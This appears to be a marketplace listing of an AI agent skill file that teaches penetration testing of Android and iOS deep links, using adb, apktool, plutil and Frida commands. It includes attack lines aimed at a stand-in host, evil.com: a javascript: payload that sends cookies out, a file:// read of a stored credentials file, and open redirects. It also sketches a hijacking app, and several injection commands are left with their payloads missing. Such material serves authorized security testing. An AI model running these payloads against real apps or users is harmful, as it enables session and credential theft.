exploiting-deeplink-vulnerabilities

Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect manipulation. Use when assessing mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security testing, URL scheme exploitation, mobile intent abuse, or link hijacking.

仓库: autohandai/community-skills
最近来源活动: 2026年3月16日 00:59
检测到的 SKILL.md 语言: 英语
星标: 10
分支: 3

安装方式

默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。

检查来源文件

决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。

返回搜索返回安装

name	exploiting-deeplink-vulnerabilities
description	Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect manipulation. Use when assessing mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security testing, URL scheme exploitation, mobile intent abuse, or link hijacking.
domain	cybersecurity
subdomain	mobile-security
author	mahipal
tags	["mobile-security","android","ios","deep-links","owasp-mobile","penetration-testing"]
version	1.0.0
license	Apache-2.0

Exploiting Deep Link Vulnerabilities

When to Use

Use this skill when:

Assessing mobile app deep link handling for injection and redirect vulnerabilities
Testing Android intent filters and iOS URL scheme handlers for unauthorized access
Evaluating App Links (Android) and Universal Links (iOS) verification
Testing for link hijacking via competing app registrations

Do not use without authorization -- deep link exploitation can trigger unintended actions in target applications.

Prerequisites

Android device with ADB or iOS device with Objection/Frida
APK decompiled with apktool or JADX for AndroidManifest.xml analysis
Knowledge of target app's registered URL schemes and intent filters
Drozer for Android intent testing
Burp Suite for intercepting deep link-triggered API calls

Workflow

Step 1: Enumerate Deep Link Entry Points

Android - Extract from AndroidManifest.xml:

# Decompile APK
apktool d target.apk -o decompiled/

# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml

# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />

iOS - Extract from Info.plist:

# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"

# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com

# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-association

Step 2: Test Deep Link Injection

Android via ADB:

# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://dashboard?user_id=1337" com.target.app

# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
  -d  com.target.app


adb shell am start -a android.intent.action.VIEW \
  -d  com.target.app


adb shell am start -a android.intent.action.VIEW \
  -d  com.target.app


adb shell am start -a android.intent.action.VIEW \
  -d  \
  --es extra_param  com.target.app

# Trigger URL scheme from Safari
# Navigate to: myapp://dashboard?user_id=1337

# Using Frida to invoke
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
  .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'

# Create a malicious app that registers the same URL scheme
# AndroidManifest.xml of attacker app:
# <intent-filter>
#   <action android:name="android.intent.action.VIEW" />
#   <category android:name="android.intent.category.DEFAULT" />
#   <category android:name="android.intent.category.BROWSABLE" />
#   <data android:scheme="myapp" />
# </intent-filter>

# When both apps are installed, Android shows a chooser dialog
# On older Android versions, the first-installed app may handle the link

# Check App Links verification (prevents hijacking)
adb shell pm get-app-links com.target.app
# Status: verified = secure
# Status: undefined = vulnerable to hijacking

# If deep links load URLs in WebView, test for:
# 1. Open redirect
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app

# 2. File access
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"

# 3. JavaScript execution in WebView
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"

Term	Definition
Custom URL Scheme	App-registered protocol (myapp://) that routes to specific app handlers when invoked
App Links (Android)	Verified HTTPS deep links that bypass the chooser dialog and open directly in the verified app
Universal Links (iOS)	Apple's verified deep linking using apple-app-site-association JSON file on the web domain
Intent Hijacking	Malicious app intercepting deep links by registering the same URL scheme or intent filter
WebView Bridge	JavaScript interface exposed to WebView content, potentially accessible via deep link-loaded URLs